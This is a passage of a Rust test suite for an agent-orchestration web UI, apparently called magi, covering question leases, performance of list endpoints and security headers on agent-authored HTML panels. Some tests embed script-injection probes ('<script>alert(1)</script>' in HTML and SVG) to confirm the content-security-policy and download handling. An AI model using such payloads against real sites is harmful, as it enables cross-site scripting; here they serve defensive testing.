9267 assert_eq!(store.count_needs_owner(), 0);
9268 let mut stale = store.read_lease(&q.id).unwrap();
9269 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
9270 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
9271 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
9272 assert!(view.deputy_exhausted);
9273 assert!(view.waiting_on_agent);
9274 assert_eq!(view.question.choices, ["keep"]);
9275 store.drop_lease(&q.id);
9276 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
9277 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
9278 }
9279
9280 #[test]
9281 fn holder_reads_the_lease_not_the_record() {
9282 let mut q = Question::new(
9283 "run".to_owned(),
9284 "implement".to_owned(),
9285 "impl-A".to_owned(),
9286 "which?".to_owned(),
9287 String::new(),
9288 Vec::new(),
9289 );
9290 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
9291 q.cwd = Some("/tmp".to_owned());
9292 assert_eq!(holder_of(&q, None), Some("nobody"));
9293 let beat = |kind, ago: i64| ask::Lease {
9294 kind,
9295 pid: 1,
9296 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
9297 .unwrap(),
9298 };
9299 let fresh = beat(ask::WaiterKind::Asker, 1);
9300 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
9301 let daemon = beat(ask::WaiterKind::Daemon, 1);
9302 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
9303 let stale = beat(ask::WaiterKind::Asker, 3600);
9304 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
9305
9306 let mut c = Question::new(
9309 "task".to_owned(),
9310 crate::conduct::NODE.to_owned(),
9311 "conduct".to_owned(),
9312 "which?".to_owned(),
9313 String::new(),
9314 Vec::new(),
9315 );
9316 assert_eq!(holder_of(&c, None), Some("nobody"));
9317 c.cwd = Some("/tmp".to_owned());
9318 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
9319 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
9320 let deputy = beat(ask::WaiterKind::Deputy, 1);
9321 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
9322 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
9323
9324 let mut r = Question::new(
9326 String::new(),
9327 crate::bump::NOTICE_NODE.to_owned(),
9328 "release-watch".to_owned(),
9329 "stuck?".to_owned(),
9330 String::new(),
9331 vec!["hold".to_owned()],
9332 );
9333 assert_eq!(holder_of(&r, None), Some("nobody"));
9334 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
9335 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
9336 r.deputy = None;
9338 r.seat = "bump".to_owned();
9339 assert_eq!(holder_of(&r, None), None);
9340
9341 let mut m = Question::new(
9344 "run".to_owned(),
9345 crate::land::APPROVAL_NODE.to_owned(),
9346 "land".to_owned(),
9347 "merge?".to_owned(),
9348 String::new(),
9349 Vec::new(),
9350 );
9351 assert_eq!(holder_of(&m, None), Some("nobody"));
9352 assert_eq!(
9353 holder_of(&m, Some(&fresh)),
9354 Some("asker"),
9355 "a live explicit wait is a listener even before a deputy is attached"
9356 );
9357 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
9358 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
9359 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
9360 assert_eq!(holder_of(&m, None), Some("nobody"));
9361 }
9362
9363 fn stub_config() -> Config {
9364 Config {
9367 agents: vec![crate::config::AgentSpec {
9368 id: "stub".to_owned(),
9369 kind: AgentKind::Command,
9370 model: None,
9371 command: vec!["true".to_owned()],
9372 extra_args: Vec::new(),
9373 env: Default::default(),
9374 prompt_delivery: None,
9375 }],
9376 ..Config::default()
9377 }
9378 }
9379
9380 fn plain_question(seat: &str) -> Question {
9381 Question::new(
9382 String::new(),
9383 "n".to_owned(),
9384 seat.to_owned(),
9385 "s".to_owned(),
9386 String::new(),
9387 Vec::new(),
9388 )
9389 }
9390
9391 #[test]
9392 fn deputies_enabled_follows_the_config() {
9393 let on = stub_config();
9394 assert!(crate::deputy::can_start(Some(&on), ""));
9395 assert!(crate::deputy::can_start(Some(&on), "stub"));
9396 let mut off = on.clone();
9397 off.daemon.max_deputies = 0;
9398 assert!(!crate::deputy::can_start(Some(&off), ""));
9399 let mut empty = on;
9400 empty.agents.clear();
9401 assert!(!crate::deputy::can_start(Some(&empty), ""));
9402 assert!(!crate::deputy::can_start(None, ""));
9403 }
9404
9405 #[test]
9406 fn question_views_load_the_config_once() {
9407 let dir = TempDir::new().unwrap();
9408 let store = ask::Questions::at(dir.path().to_path_buf());
9409 let mut with_deputy = plain_question("b");
9410 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
9411 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
9412
9413 let calls = std::cell::Cell::new(0usize);
9414 let views = question_views(qs.clone(), &store, || {
9415 calls.set(calls.get() + 1);
9416 Some(stub_config())
9417 });
9418 assert_eq!(calls.get(), 1);
9419 assert_eq!(views.len(), 3);
9420 for (v, q) in views.iter().zip(&qs) {
9421 assert_eq!(
9422 v.deputies_enabled,
9423 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
9424 );
9425 }
9426
9427 let views = question_views(qs, &store, || None);
9428 assert!(views.iter().all(|v| !v.deputies_enabled));
9429
9430 let calls = std::cell::Cell::new(0usize);
9431 let views = question_views(Vec::new(), &store, || {
9432 calls.set(calls.get() + 1);
9433 None
9434 });
9435 assert!(views.is_empty());
9436 assert_eq!(calls.get(), 0);
9437 }
9438
9439 use pretty_assertions::assert_eq;
9440 use serde_json::Value;
9441 use tempfile::TempDir;
9442 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
9443
9444 use super::*;
9445 use crate::config::Config;
9446 use crate::queue::Source;
9447
9448 const SETTLE_STEPS: usize = 3_000;
9459
9460 struct Fixture {
9466 home: TempDir,
9467 addr: SocketAddr,
9468 }
9469
9470 impl Fixture {
9471 async fn start() -> Self {
9472 Self::with_loop(launch_idle).await
9473 }
9474
9475 async fn with_loop(launch: Launch) -> Self {
9477 let home = TempDir::new().expect("temp home");
9478 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
9479 Self { home, addr }
9480 }
9481
9482 async fn with_repo(repo: PathBuf) -> Self {
9486 let home = TempDir::new().expect("temp home");
9487 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
9488 Self { home, addr }
9489 }
9490
9491 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
9494 let home = TempDir::new().expect("temp home");
9495 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
9496 Self { home, addr }
9497 }
9498
9499 async fn serve(
9500 home: &FsPath,
9501 repo: PathBuf,
9502 launch: Launch,
9503 machine: Option<PathBuf>,
9504 ) -> SocketAddr {
9505 let queue = Queue::at(home.join("queue"));
9506 let runs = home.join("runs");
9507 std::fs::create_dir_all(&runs).expect("runs dir");
9508 let worktrees = home.join("wt").join("magi");
9509 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
9510 let ui = Ui::new(
9511 queue,
9512 Questions::at(home.join("questions")),
9513 Talks::at(home.join("talks")),
9514 runs,
9515 home.to_path_buf(),
9516 repo,
9517 )
9518 .with_worktrees_root(worktrees)
9519 .with_machine_config(machine)
9520 .with_launch(launch);
9521 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9522 .await
9523 .expect("bind loopback");
9524 let addr = listener.local_addr().expect("local addr");
9525 tokio::spawn(async move {
9526 let router = ui
9527 .router()
9528 .layer(axum::middleware::from_fn(request_cost::observe));
9529 let _ = axum::serve(listener, router).await;
9530 });
9531 addr
9532 }
9533
9534 fn queue(&self) -> Queue {
9535 Queue::at(self.home.path().join("queue"))
9536 }
9537
9538 fn questions(&self) -> Questions {
9539 Questions::at(self.home.path().join("questions"))
9540 }
9541
9542 fn talks(&self) -> Talks {
9543 Talks::at(self.home.path().join("talks"))
9544 }
9545
9546 fn runs(&self) -> PathBuf {
9547 self.home.path().join("runs")
9548 }
9549
9550 async fn get(&self, path: &str) -> Res {
9551 request(self.addr, "GET", path, None).await
9552 }
9553
9554 async fn head(&self, path: &str) -> Res {
9559 request(self.addr, "HEAD", path, None).await
9560 }
9561
9562 async fn post(&self, path: &str, body: Option<&str>) -> Res {
9563 request(self.addr, "POST", path, body).await
9564 }
9565
9566 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
9567 request_with(self.addr, "GET", path, None, extra).await
9568 }
9569
9570 async fn delete(&self, path: &str) -> Res {
9571 request(self.addr, "DELETE", path, None).await
9572 }
9573
9574 async fn put(&self, path: &str, body: &str) -> Res {
9575 request(self.addr, "PUT", path, Some(body)).await
9576 }
9577
9578 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
9580 request_bytes(self.addr, path, headers, body).await
9581 }
9582 }
9583
9584 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
9587 let tmp = TempDir::new().unwrap();
9588 let mut repos = Vec::new();
9589 for name in ["one", "two"] {
9590 let repo = tmp.path().join(name);
9591 let origin = tmp.path().join(format!("{name}.git"));
9592 std::fs::create_dir_all(&repo).unwrap();
9593 crate::git::git(&repo, &["init", "-b", "main"])
9594 .await
9595 .unwrap();
9596 std::fs::write(
9597 repo.join("magi.toml"),
9598 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
9599 )
9600 .unwrap();
9601 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
9602 crate::git::git(
9603 &repo,
9604 &[
9605 "-c",
9606 "user.name=fixture",
9607 "-c",
9608 "user.email=fixture@example.invalid",
9609 "commit",
9610 "-m",
9611 "fixture",
9612 ],
9613 )
9614 .await
9615 .unwrap();
9616 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
9617 .await
9618 .unwrap();
9619 crate::git::git(
9620 &repo,
9621 &["remote", "add", "origin", origin.to_str().unwrap()],
9622 )
9623 .await
9624 .unwrap();
9625 crate::git::git(&repo, &["push", "origin", "main"])
9626 .await
9627 .unwrap();
9628 crate::git::git(
9629 &repo,
9630 &[
9631 "symbolic-ref",
9632 "refs/remotes/origin/HEAD",
9633 "refs/remotes/origin/main",
9634 ],
9635 )
9636 .await
9637 .unwrap();
9638 let (cfg, _) = Config::discover(&repo, None).unwrap();
9639 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
9640 repos.push(repo);
9641 }
9642 let repos: [PathBuf; 2] = repos.try_into().unwrap();
9643 (tmp, repos)
9644 }
9645
9646 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
9647 let (tmp, repos) = performance_repositories().await;
9648 let machine = tmp.path().join("machine.toml");
9649 std::fs::write(&machine, "").unwrap();
9650 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
9651 (tmp, repos, fx)
9652 }
9653
9654 fn seed_performance(
9655 fx: &Fixture,
9656 repos: &[PathBuf; 2],
9657 questions: usize,
9658 runs: usize,
9659 items: usize,
9660 ) {
9661 for i in fx.questions().list().len()..questions {
9663 let mut question = Question::new(
9664 "20261001-000000-0000".into(),
9665 "implement".into(),
9666 "impl-A".into(),
9667 format!("question {i}"),
9668 "context".into(),
9669 vec!["yes".into(), "no".into()],
9670 );
9671 question.id = format!("20261003-000000-{i:04x}");
9672 fx.questions().put(&mut question).unwrap();
9673 }
9674 for i in run_ids(&fx.runs()).len()..runs {
9675 write_run_repo(
9676 &fx.runs(),
9677 &format!("20261001-000000-{i:04x}"),
9678 RunStatus::Ready,
9679 repos[i % 2].to_str().unwrap(),
9680 );
9681 }
9682 for i in fx.talks().list().len()..items {
9683 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
9684 let mut talk = fx.talks().get(&id).unwrap();
9685 talk.repo = repos[i % 2].clone();
9686 fx.talks().put(&mut talk).unwrap();
9687 let mut task = crate::queue::Task::new(
9688 format!("task {i}"),
9689 "instruction".into(),
9690 repos[i % 2].clone(),
9691 crate::queue::Source::Agent {
9692 run: id,
9693 node: crate::queue::CHAT_NODE.into(),
9694 },
9695 );
9696 task.id = format!("20261004-000000-{i:04x}");
9697 fx.queue().put(&mut task).unwrap();
9698 if i < crate::notices::CAP {
9700 Notices::at(fx.home.path().join("notifications"))
9701 .raise(Notice::info(&format!("notice-{i}"), "notification"))
9702 .unwrap();
9703 }
9704 }
9705 assert_eq!(fx.questions().list().len(), questions);
9706 assert_eq!(run_ids(&fx.runs()).len(), runs);
9707 assert_eq!(fx.talks().list().len(), items);
9708 assert_eq!(fx.queue().list().len(), items);
9709 assert_eq!(
9710 Notices::at(fx.home.path().join("notifications"))
9711 .list()
9712 .len(),
9713 items.min(crate::notices::CAP)
9714 );
9715 }
9716
9717 fn request_counts(res: &Res) -> (usize, usize) {
9718 assert_eq!(res.status, 200, "{}", res.body);
9719 (
9720 res.header("x-test-discoveries").unwrap().parse().unwrap(),
9721 res.header("x-test-git").unwrap().parse().unwrap(),
9722 )
9723 }
9724
9725 #[tokio::test]
9726 async fn list_request_cost_is_independent_of_record_count() {
9727 let (_tmp, repos, fx) = performance_fixture().await;
9728 let mut previous = None;
9729 for n in [4, 60] {
9730 seed_performance(&fx, &repos, n, n, n);
9731 let mut costs = Vec::new();
9732 for (path, discoveries) in [
9733 ("/api/questions", 1),
9734 ("/api/talks", 2),
9735 ("/api/health", 1),
9736 ("/api/stats", 1),
9737 ] {
9738 for repo in &repos {
9741 let cache = repo.join(".git/magi/config");
9742 if cache.exists() {
9743 std::fs::remove_dir_all(cache).unwrap();
9744 }
9745 }
9746 let cost = request_counts(&fx.get(path).await);
9747 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
9748 assert_eq!(cost.0, discoveries, "{path}, N={n}");
9749 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
9750 costs.push(cost);
9751 }
9752 if let Some(previous) = previous {
9753 assert_eq!(costs, previous);
9754 }
9755 previous = Some(costs);
9756 }
9757 }
9761
9762 #[tokio::test]
9765 async fn list_handler_cost_without_transport() {
9766 let (_tmp, repos) = performance_repositories().await;
9767 let fx = Fixture {
9768 home: TempDir::new().unwrap(),
9769 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
9770 };
9771 let ui = Arc::new(
9772 Ui::new(
9773 fx.queue(),
9774 fx.questions(),
9775 fx.talks(),
9776 fx.runs(),
9777 fx.home.path().to_path_buf(),
9778 repos[0].clone(),
9779 )
9780 .with_worktrees_root(fx.home.path().join("wt")),
9781 );
9782 let mut previous = None;
9783 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
9784 seed_performance(&fx, &repos, n, runs, items);
9785 let mut costs = Vec::new();
9786 for endpoint in ["questions", "talks", "health", "stats"] {
9787 for repo in &repos {
9788 let cache = repo.join(".git/magi/config");
9789 if cache.exists() {
9790 std::fs::remove_dir_all(cache).unwrap();
9791 }
9792 }
9793 let (_, cost) = request_cost::measure(async {
9794 match endpoint {
9795 "questions" => {
9796 let _ = questions_list(State(ui.clone())).await.unwrap();
9797 }
9798 "talks" => {
9799 let _ = talks_list(
9800 State(ui.clone()),
9801 Query(ListQuery {
9802 limit: None,
9803 ids: None,
9804 }),
9805 )
9806 .await
9807 .unwrap();
9808 }
9809 "health" => {
9810 let _ = health(State(ui.clone())).await.unwrap();
9811 }
9812 _ => {
9813 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
9814 .await
9815 .unwrap();
9816 }
9817 }
9818 })
9819 .await;
9820 eprintln!("{endpoint} handler N={n}: {cost:?}");
9821 assert_eq!(
9822 cost.0,
9823 if endpoint == "talks" { 2 } else { 1 },
9824 "{endpoint}"
9825 );
9826 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
9827 costs.push(cost);
9828 }
9829 if let Some(previous) = previous {
9830 assert_eq!(costs, previous);
9831 }
9832 previous = Some(costs);
9833 }
9834 }
9835
9836 #[tokio::test]
9837 async fn list_request_cost_scopes_do_not_mix() {
9838 let (_tmp, repos, fx) = performance_fixture().await;
9839 seed_performance(&fx, &repos, 10, 0, 10);
9840 let (questions, talks, notices) = tokio::join!(
9841 fx.get("/api/questions"),
9842 fx.get("/api/talks"),
9843 fx.get("/api/notifications")
9844 );
9845 assert_eq!(request_counts(&questions).0, 1);
9846 assert_eq!(request_counts(&talks).0, 2);
9847 assert_eq!(request_counts(¬ices), (0, 0));
9848 }
9849
9850 #[tokio::test]
9851 async fn list_endpoints_large_home_ceiling() {
9852 let (_tmp, repos, fx) = performance_fixture().await;
9853 seed_performance(&fx, &repos, 200, 300, 400);
9854 let mut failures = Vec::new();
9855 for path in [
9858 "/",
9859 "/app.js",
9860 "/app.css",
9861 "/api/questions",
9862 "/api/runs?limit=300",
9863 "/api/queue",
9864 "/api/talks",
9865 "/api/notifications",
9866 "/api/health",
9867 "/api/stats",
9868 "/api/loop",
9869 "/api/settings",
9870 "/api/repos",
9871 ] {
9872 let start = std::time::Instant::now();
9873 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
9874 let elapsed = start.elapsed();
9875 eprintln!("{path}: {elapsed:?}");
9876 match result {
9877 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
9878 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
9879 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
9880 }
9881 }
9882 assert!(failures.is_empty(), "{}", failures.join("\n"));
9883 }
9884
9885 struct Res {
9886 status: u16,
9887 headers: String,
9888 head: String,
9893 body: String,
9894 bytes: Vec<u8>,
9898 }
9899
9900 impl Res {
9901 fn json(&self) -> Value {
9902 serde_json::from_str(&self.body)
9903 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
9904 }
9905
9906 fn header(&self, name: &str) -> Option<&str> {
9908 self.head.lines().find_map(|line| {
9909 let (key, value) = line.split_once(':')?;
9910 key.trim()
9911 .eq_ignore_ascii_case(name)
9912 .then(|| value.trim_start().trim_end_matches('\r'))
9913 })
9914 }
9915 }
9916
9917 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
9920 request_with(addr, method, path, body, &[]).await
9921 }
9922
9923 async fn request_with(
9927 addr: SocketAddr,
9928 method: &str,
9929 path: &str,
9930 body: Option<&str>,
9931 extra: &[(&str, &str)],
9932 ) -> Res {
9933 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9934 for (name, value) in extra {
9935 head.push_str(&format!("{name}: {value}\r\n"));
9936 }
9937 if let Some(body) = body {
9938 head.push_str("Content-Type: application/json\r\n");
9939 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
9940 }
9941 head.push_str("\r\n");
9942 if let Some(body) = body {
9943 head.push_str(body);
9944 }
9945 let mut socket = tokio::net::TcpStream::connect(addr)
9946 .await
9947 .expect("connect to the test server");
9948 socket
9949 .write_all(head.as_bytes())
9950 .await
9951 .expect("write request");
9952 let mut raw = Vec::new();
9953 socket.read_to_end(&mut raw).await.expect("read response");
9954 let split = raw
9957 .windows(4)
9958 .position(|w| w == b"\r\n\r\n")
9959 .expect("a header block");
9960 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9961 let bytes = raw[split + 4..].to_vec();
9962 let status = head
9963 .lines()
9964 .next()
9965 .and_then(|line| line.split_whitespace().nth(1))
9966 .and_then(|code| code.parse().ok())
9967 .expect("a status line");
9968 Res {
9969 status,
9970 headers: head.to_lowercase(),
9971 head,
9972 body: String::from_utf8_lossy(&bytes).into_owned(),
9973 bytes,
9974 }
9975 }
9976
9977 async fn request_bytes(
9983 addr: SocketAddr,
9984 path: &str,
9985 headers: &[(&str, &str)],
9986 body: &[u8],
9987 ) -> Res {
9988 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9989 for (name, value) in headers {
9990 head.push_str(&format!("{name}: {value}\r\n"));
9991 }
9992 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
9993 let mut socket = tokio::net::TcpStream::connect(addr)
9994 .await
9995 .expect("connect to the test server");
9996 socket
9997 .write_all(head.as_bytes())
9998 .await
9999 .expect("write request head");
10000 socket.write_all(body).await.expect("write request body");
10001 let mut raw = Vec::new();
10002 socket.read_to_end(&mut raw).await.expect("read response");
10003 let split = raw
10004 .windows(4)
10005 .position(|w| w == b"\r\n\r\n")
10006 .expect("a header block");
10007 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10008 let bytes = raw[split + 4..].to_vec();
10009 let status = head
10010 .lines()
10011 .next()
10012 .and_then(|line| line.split_whitespace().nth(1))
10013 .and_then(|code| code.parse().ok())
10014 .expect("a status line");
10015 Res {
10016 status,
10017 headers: head.to_lowercase(),
10018 head,
10019 body: String::from_utf8_lossy(&bytes).into_owned(),
10020 bytes,
10021 }
10022 }
10023
10024 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
10026 let mut state = RunState::new(
10027 PathBuf::from("/repo/magi"),
10028 "main".to_owned(),
10029 "0123456789abcdef".to_owned(),
10030 "Add a web UI\n\nMobile first.".to_owned(),
10031 Config::default(),
10032 );
10033 state.id = id.to_owned();
10034 state.status = status;
10035 let dir = runs.join(id);
10036 std::fs::create_dir_all(&dir).expect("run dir");
10037 std::fs::write(
10038 dir.join("run.json"),
10039 serde_json::to_string_pretty(&state).expect("serialize run"),
10040 )
10041 .expect("write run.json");
10042 }
10043
10044 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
10048 let mut state = RunState::new(
10049 PathBuf::from(repo),
10050 "main".to_owned(),
10051 "0123456789abcdef".to_owned(),
10052 "task".to_owned(),
10053 Config::default(),
10054 );
10055 state.id = id.to_owned();
10056 state.status = status;
10057 let dir = runs.join(id);
10058 std::fs::create_dir_all(&dir).expect("run dir");
10059 std::fs::write(
10060 dir.join("run.json"),
10061 serde_json::to_string_pretty(&state).expect("serialize run"),
10062 )
10063 .expect("write run.json");
10064 }
10065
10066 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
10067 let body = serde_json::json!({
10068 "schema": 1,
10069 "pid": 4242,
10070 "started_at": Timestamp::now().to_string(),
10071 "updated_at": updated_at.to_string(),
10072 "idle": false,
10073 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
10074 "completed": 7,
10075 "polls": 143,
10076 });
10077 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
10078 }
10079
10080 fn launch_idle(
10090 _opts: daemon::Opts,
10091 stop: daemon::Stop,
10092 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10093 Box::pin(async move {
10094 while !stop.stopped() {
10095 tokio::time::sleep(Duration::from_millis(2)).await;
10096 }
10097 Ok(())
10098 })
10099 }
10100
10101 fn launch_broken(
10104 _opts: daemon::Opts,
10105 _stop: daemon::Stop,
10106 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10107 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
10112 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
10113 Box::pin(async move {
10114 Err(anyhow::anyhow!(if first {
10115 "publish the daemon status file: read-only file system"
10116 } else {
10117 "the restarted stand-in failed as well"
10118 }))
10119 })
10120 }
10121
10122 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
10129 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
10130
10131 fn launch_knocking_on_the_way_out(
10138 _opts: daemon::Opts,
10139 stop: daemon::Stop,
10140 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10141 Box::pin(async move {
10142 while !stop.stopped() {
10143 tokio::time::sleep(Duration::from_millis(2)).await;
10144 }
10145 let addr = PARK_KNOCK
10146 .lock()
10147 .expect("park knock")
10148 .expect("the test set an address");
10149 let heard = request(addr, "GET", "/api/health", None).await.status;
10150 *PARK_HEARD.lock().expect("park heard") = Some(heard);
10151 Ok(())
10152 })
10153 }
10154
10155 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
10164 for _ in 0..SETTLE_STEPS {
10165 let view = fx.get("/api/loop").await.json();
10166 if want(&view) {
10167 return view;
10168 }
10169 tokio::time::sleep(Duration::from_millis(10)).await;
10170 }
10171 panic!(
10172 "the loop never settled: {}",
10173 fx.get("/api/loop").await.json()
10174 );
10175 }
10176
10177 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
10179 let store = fx.questions();
10180 let mut q = Question::new(
10181 "20260902-000000-beef".to_owned(),
10182 "implement".to_owned(),
10183 "impl-A".to_owned(),
10184 summary.to_owned(),
10185 "because it matters".to_owned(),
10186 choices.iter().map(|c| (*c).to_owned()).collect(),
10187 );
10188 store.put(&mut q).expect("put question");
10189 q.id
10190 }
10191
10192 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
10198 let store = fx.questions();
10199 let mut q = Question::new(
10200 "20260902-000000-beef".to_owned(),
10201 "land".to_owned(),
10202 "fix".to_owned(),
10203 "Merge this?".to_owned(),
10204 "the diff is in the panel".to_owned(),
10205 vec!["merge".to_owned(), "hold".to_owned()],
10206 );
10207 let staging = fx.home.path().join("staging");
10210 std::fs::create_dir_all(&staging).expect("staging dir");
10211 let sources: Vec<PathBuf> = assets
10212 .iter()
10213 .map(|(name, bytes)| {
10214 let path = staging.join(name);
10215 std::fs::write(&path, bytes).expect("write staged asset");
10216 path
10217 })
10218 .collect();
10219 store
10220 .put_panel(&mut q, html, &sources)
10221 .expect("write the panel");
10222 store.put(&mut q).expect("put question");
10223 q.id
10224 }
10225
10226 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
10235 seed_talk_at(&fx.talks(), id, status)
10236 }
10237
10238 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
10239 std::fs::create_dir_all(store.root()).expect("talks dir");
10240 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
10241 .expect("serialize a seat");
10242 let body = serde_json::json!({
10243 "schema": 1,
10244 "id": id,
10245 "repo": "/repo/magi",
10246 "agent": "mock",
10247 "status": status,
10248 "turns": [],
10249 "created_at": Timestamp::now().to_string(),
10250 "updated_at": Timestamp::now().to_string(),
10251 "seat": seat,
10252 });
10253 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
10254 store.get(id).expect("the seeded talk has to be readable");
10255 id.to_owned()
10256 }
10257
10258 #[tokio::test]
10259 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
10260 let fx = Fixture::start().await;
10261 let id = panel(
10262 &fx,
10263 "<h1>Merge?</h1><img src=\"diff.svg\">",
10264 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
10265 );
10266
10267 for path in [
10268 format!("/api/questions/{id}/panel"),
10269 format!("/api/questions/{id}/asset/diff.svg"),
10270 ] {
10271 let res = fx.get(&path).await;
10272 assert_eq!(res.status, 200, "{path}: {}", res.body);
10273 assert_eq!(
10279 res.header("content-security-policy"),
10280 Some(
10281 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
10282 font-src data:; base-uri 'none'; form-action 'none'; \
10283 frame-ancestors 'self'"
10284 ),
10285 "{path} is the only thing between a hostile panel and the tailnet"
10286 );
10287 assert_eq!(
10288 res.header("x-content-type-options"),
10289 Some("nosniff"),
10290 "{path}: a browser must not re-decide the type we sent"
10291 );
10292 assert_eq!(
10293 res.header("referrer-policy"),
10294 Some("no-referrer"),
10295 "{path}: a panel must not leak the question id off the machine"
10296 );
10297
10298 let pre = fx.head(&path).await;
10303 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
10304 assert_eq!(
10305 pre.header("content-security-policy"),
10306 res.header("content-security-policy"),
10307 "{path}: the preflight carries the same policy"
10308 );
10309 assert_eq!(
10310 pre.header("content-type"),
10311 res.header("content-type"),
10312 "{path}: the preflight carries the same type"
10313 );
10314 }
10315 }
10316
10317 #[tokio::test]
10318 async fn a_panel_reaches_the_browser_byte_for_byte() {
10319 let fx = Fixture::start().await;
10320 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
10325 let id = panel(&fx, html, &[]);
10326
10327 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
10328
10329 assert_eq!(res.status, 200);
10330 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
10331 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
10332 assert_eq!(
10333 res.header("content-disposition"),
10334 None,
10335 "the panel itself is rendered in the frame, not downloaded"
10336 );
10337 }
10338
10339 #[tokio::test]
10340 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
10341 let fx = Fixture::start().await;
10342 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
10343 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
10344 let id = panel(
10345 &fx,
10346 "<img src=\"diff.svg\"><img src=\"shot.png\">",
10347 &[("diff.svg", svg), ("shot.png", png)],
10348 );
10349
10350 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
10351 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
10352
10353 assert_eq!(as_svg.status, 200);
